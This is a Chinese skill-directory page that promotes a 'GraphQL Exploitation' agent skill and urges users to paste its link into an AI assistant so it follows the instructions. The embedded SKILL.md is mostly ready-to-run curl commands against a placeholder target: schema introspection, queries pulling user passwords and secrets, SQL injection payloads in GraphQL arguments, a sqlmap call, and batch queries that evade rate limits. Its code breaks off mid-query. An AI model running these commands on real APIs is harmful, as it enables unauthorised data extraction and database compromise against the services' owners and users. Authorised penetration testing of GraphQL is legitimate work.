跳到正文
Skillpedia
安全6.5k · #14063

graphql

它能做什么

这项技能指导智能体测试 GraphQL API,包括查找接口、读取架构以及检查访问规则是否有效。适合安全测试人员。

适用场景

  • ✓当网站或应用使用 GraphQL API,你想检查它暴露了哪些内容时。
  • ✓当安全审查询问架构是否暴露了本应隐藏的字段或操作时。
  • ✓当你需要测试 GraphQL 查询能否访问其他用户不应看到的数据时。

技能链接

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/graphql/SKILL.md

复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。

使用方法

最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。

可直接粘贴的消息

请用这个技能帮我:https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/graphql/SKILL.md 阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
想让你的 AI 自己找到这样的技能吗?安装免费的 Skillpedia MCP:只需一行,每次任务前它都会在 15,000+ 个技能中搜索。1 分钟完成安装 →

可以这样问 AI

“请帮我检查,我的 GraphQL API 是否向不应看到数据的用户展示了数据?”

每周 5 个新技能,1 分钟读完。

工作原理

智能体寻找常见的 GraphQL 接口,向服务器请求其架构,然后测试找到的查询和变更操作是否存在薄弱的访问检查。

技术内容(原始 SKILL.md)

作者在 GitHub 上的英文原文。

GraphQL Exploitation

Exploits GraphQL APIs for data exfiltration, SQL injection through resolvers, authentication/authorization bypass, and batch query abuse.

Discovery

# Common GraphQL endpoints
for path in /graphql /graphiql /v1/graphql /v2/graphql /api/graphql /query /gql /graphql/console; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "http://<TARGET>$path" -H 'Content-Type: application/json' -d '{"query":"{ __typename }"}')
  [ "$code" != "404" ] && [ "$code" != "000" ] && echo "$path -> HTTP $code"
done

# Check for GraphiQL IDE (browser-based)
curl -s 'http://<TARGET>/graphiql' | grep -i 'graphiql\|graphql'

Introspection — Schema Dump

# Quick schema overview — list all types and their fields
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"{ __schema { types { name kind fields { name type { name kind ofType { name } } } } } }"}' | python3 -m json.tool

# List all query types (entry points)
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"{ __schema { queryType { fields { name args { name type { name } } type { name kind ofType { name } } } } } }"}' | python3 -m json.tool

# List all mutations
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"{ __schema { mutationType { fields { name args { name type { name } } } } } }"}' | python3 -m json.tool

# Full introspection query (complete schema)
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"query IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } } } fragment FullType on __Type { kind name fields(includeDeprecated: true) { name args { name type { ...TypeRef } } type { ...TypeRef } } inputFields { name type { ...TypeRef } } enumValues(includeDeprecated: true) { name } } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name } } } }"}' | python3 -m json.tool

Data Enumeration (Authorization Bypass)

# After introspection reveals types, query all data
# Replace field names based on introspection results
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"{ users { id username email role password } }"}'

# Query nested/related objects
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"{ users { id name secrets { id content } } }"}'

# Query with specific filters
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"{ user(id: 1) { id username role password } }"}'

# Look for flag-related types/fields
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"{ flags { id value } }"}'
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"{ secrets { id content } }"}'

GraphQL SQL Injection

# String argument injection
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"{ user(name: \"admin\\\" OR 1=1--\") { id name } }"}'

# Union-based SQLi through GraphQL
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"{ user(id: \"1 UNION SELECT 1,2,flag FROM flags--\") { id name } }"}'

# Integer argument injection
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"{ user(id: \"1 OR 1=1\") { id name email } }"}'

# Mutation-based injection
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"mutation { login(username: \"admin\\\" OR 1=1--\", password: \"x\") { token } }"}'

# If sqlmap is available — use it with GraphQL
# Extract the injectable parameter and use sqlmap
sqlmap -u 'http://<TARGET>/graphql' --method POST \
  --data '{"query":"{ user(id: \"1*\") { id name } }"}' \
  -H 'Content-Type: application/json' --batch --output-dir sqlmap_graphql/

Batch Query Abuse

# Send multiple queries in one request (bypass rate limiting)
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '[{"query":"{ user(id: 1) { id name } }"},{"query":"{ user(id: 2) { id name } }"},{"query":"{ user(id: 3) { id name } }"}]'

# Alias-based batching (single query, multiple operations)
curl -s 'http://<TARGET>/graphql' -H 'Content-Type: application/json' \
  -d '{"query":"{ u1: user(id: 1) { id name } u2: user(id: 2) { id name } u3:
常见问题

什么是架构内省?

它是 GraphQL 的一项功能,可以列出 API 提供的类型、字段和操作,该技能利用它来梳理 API。

它涵盖批量查询吗?

涵盖。该技能提到滥用批量查询是其涵盖的范围之一。

它会检查不同用户能访问什么吗?

会。该技能涵盖授权绕过,因此会在不同用户级别之间检查访问规则。

详情

作者的原始描述

GraphQL exploitation — introspection, injection, authorization bypass, and data exfiltration through GraphQL APIs.

repo: BitterSecurity/Decepticon

热度

GitHub 星标
6.5k
排名
#14063
许可证
Apache-2.0
更新时间
2026/11/1

这个技能有用吗?

0

登录 后即可投票。

评论

  • …

同一仓库的更多技能

相似技能